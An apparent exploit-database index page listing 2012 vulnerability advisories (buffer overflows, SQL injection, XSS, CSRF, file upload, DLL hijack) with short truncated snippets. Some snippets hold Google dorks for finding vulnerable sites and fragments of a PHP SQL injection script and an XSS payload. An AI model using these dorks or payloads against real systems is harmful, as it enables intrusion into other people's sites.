Ezhometech Ezserver 6.4 Stack Overflow

Exploit Title: Ezhometech EzServer =6.4 Stack Overflow Vulnerability Author: modpr0be Contact: researchatSpenteradotcom Platform: Windows Tested on: Windows XP SP3 OptIn, Windows 2003 SP2 OptIn Software Link: http://www.ezhometech.com/buyezserver.htm References:...

Phonalisa v5.0 VoiP - Multiple Web Vulnerabilities

Document Title: =============== Phonalisa v5.0 VoiP - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=526 Release Date: ============= 2012-06-15 Vulnerability Laboratory ID VL-ID: ==================================== 526 Comm...

WordPress Plugin Omni Secure Files 0.1.13 - Arbitrary File Upload

WordPress Plugin Omni Secure Files 0.1.13 - Arbitrary File Upload Exploit Title: Wordpress Omni-secure-files 0.1.13 Arbitrary File Upload Google Dork: inurl:wp-content/plugins/omni-secure-files/ Date: 07/06/2012 Exploit Author: Adrien Thierry Vendor Homepage: http://omni-secure.com/ Software Link...

SN News 1.2 - 'visualiza.php' SQL Injection

\n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; echo " Trying to get informations...\n"; $infos =...

FlashPeak SlimBrowser buffer overflow

Buffer overflow via TITLE tag...

FlashPeak SlimBrowser TITLE Denial Of Service Vulnerability

Title: FlashPeak SlimBrowser TITLE Denial Of Service Vulnerability Software : FlashPeak SlimBrowser Software Version : 6.0.1.38 Vendor: FlashPeak Inc.www.flashpeak.com/ Vulnerability Published : 2012-05-16 Vulnerability Update Time : Status : Impact : MediumCVSS2 Base : 5.0,...

http-traceroute NSE Script

Exploits the Max-Forwards HTTP header to detect the presence of reverse proxies. The script works by sending HTTP requests with values of the Max-Forwards HTTP header varying from 0 to 2 and checking for any anomalies in certain response values such as the status code, Server, Content-Type and...

Results Unlimited CMS SQL Injection

Exploit Title : results-unlimited Cms Sql Injection Vulnerabilities Author : IrIsT Security Team - Security7 Security Team Discovered By : Am!r Home : http://IrIsT.Ir - http://Security7.Ir Software Link : http://www.results-unlimited.com/ Security Risk : High Version : All Version Tested on :...

FlashPeak SlimBrowser 6.0.1.38 Denial Of Service

Title: FlashPeak SlimBrowser TITLE Denial Of Service Vulnerability Software : FlashPeak SlimBrowser Software Version : 6.0.1.38 Vendor: FlashPeak Inc.www.flashpeak.com/ Vulnerability Published : 2012-05-16 Vulnerability Update Time : Status : Impact : MediumCVSS2 Base : 5.0,...

AnvSoft Any Video Converter 4.3.6 Unicode Buffer Overflow

Exploit for windows platform in category local exploits Exploit Title: AnvSoft Any Video Converter 4.3.6 unicode buffer overflow. Software Link: http://www.any-video-converter.com Version: 4.3.6 Tested on: Win XP SP3 French trigger the bug : generate the .reg file, execute it, and then open the a...

eLearning Server 4G Remote File Inclusion / SQL Injection

Exploit Title: eLearning Server Multiple Remote Vulnerabilities Google Dork: intitle:"eLearning Server" Date: 10.05.2012 Author: Eugene Salov, Andrey Komarov Group-IB, http://group-ib.ru Software Link: http://www.hypermethod.ru/ Version: 4G Tested on: Microsoft Windows news.php4 "nid" SQL...

PHP Enter Code Injection

Exploit Title : Php Enter Php Code Injection Author : IrIsT.Ir & Sec4Ever.com Discovered By : L3b-r1'z Home : http://IrIsT.Ir & http://Sec4Ever.com P Blob : http://L3b-r1z.com/ Software Link : http://www.phpenter.net/ Security Risk : High Version : beta Tested on : win\XP Dork : allintext: "Power...

Browser Forensic Tool v2.0 - Advanced browser history search engine

Browser Forensic Tool v2.0 - Advanced browser history search engine Browser Forensic Tool v2.0 , Developed by DarkCoderSc Jean-Pierre LESUEUR ,is an advanced local browser history search engine, in less than few seconds it will extract the chosen keywords of most famous web browser, actually...

Next Gen CMS XSS Presistent Vulnerability

Exploit for php platform in category web applications Exploit Title: ACTIVE XSS Next Gen CMS Author: mix0x0 Vendor or Software Link: http://ngcms.ru/ Version: 0.9.3 Release SVN880+FIX01 Vulnerable to the field: "title", test blog Exploit test: var t = new Image;...

vBulletin 4.1.12 Cross Site Scripting

TITLE ....... vBulletin 4.1.12 Reflected XSS try csrf for registered users DATE ........ 24.04.2012 AUTOHR ...... http://hauntit.blogspot.com SOFT LINK ... http://www.vbulletin.com VERSION ..... 4.1.12 TESTED ON ... LAMP ----------------------------------------------------------------------- 1...

HelpDesk (All Version) Multiple XSS Presistent Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

WordPress Core 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities

+---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities Date : 19-03-2012 Author : Ivano Binetti http://www.ivanobinetti.com Software link :...

WordPress 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities

WordPress 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities +---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities Date : 19-03-20...

WordPress 3.3.1 Cross Site Request Forgery

+---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities Date : 19-03-2012 Author : Ivano Binetti http://www.ivanobinetti.com Software link :...

Ettercap NG 0.7.4 DLL Hijack

Exploit Title: ettercap NG-0.7.4 Dll hijacking vulnerability quserex.dll - exchndl.dll Date: Tuesday April 24 Author: nimaarek Software Link: http://sourceforge.net/projects/ettercap/files/unofficial binaries/windows/ Version: NG-0.7.4 Tested on: Windows XP SP3 . || | | / | |/ \ \ \ \ / | |/ /...